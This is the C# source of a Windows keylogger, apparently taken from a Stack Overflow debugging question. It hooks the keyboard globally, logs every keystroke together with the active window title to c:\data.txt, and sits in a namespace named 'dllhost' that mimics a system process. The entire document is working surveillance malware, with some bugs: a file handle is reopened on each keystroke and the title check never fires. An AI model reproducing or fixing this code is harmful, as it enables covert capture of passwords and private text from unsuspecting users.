Keylogger [WARNING SOME BUG]

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace dllhost
{
    class Program
    {
        private static string path ="c:\\data.txt";
        private static string active = null;

        [DllImport("user32.dll")]
        static extern IntPtr GetForegroundWindow();

        [DllImport("user32.dll")]
        static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

        private static string getTitle()
        {
            IntPtr handle = GetForegroundWindow();
            StringBuilder sb = new StringBuilder(1000);
            GetWindowText(handle, sb, 1000);
            string winText = sb.ToString();
            return winText;
        }

        private delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, KeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static KeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;


        static void Main(string[] args)
        {
            Hook();
            Application.Run();
            UnHook();
        }

        public static void Hook()
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                _hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        public static void UnHook()
        {
            UnhookWindowsHookEx(_hookID);
        }

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
                    int KeyCode = Marshal.ReadInt32(lParam);
                    StreamWriter sw;
                    sw = new StreamWriter(path, true);
                    sw.AutoFlush = true;

            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                if (!string.IsNullOrEmpty(active) &&  active != getTitle())
                {

                    active = getTitle();
                    sw.WriteLine();
                    sw.WriteLine();
                    sw.WriteLine(active); // Write active window title to txt file

                }
                sw.WriteLine((Keys)KeyCode); // Write key pressed to txt file
             }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);

            }
        }
}
// Source: http://stackoverflow.com/questions/23593125/keylogger-not-write-correctly-in-txt-file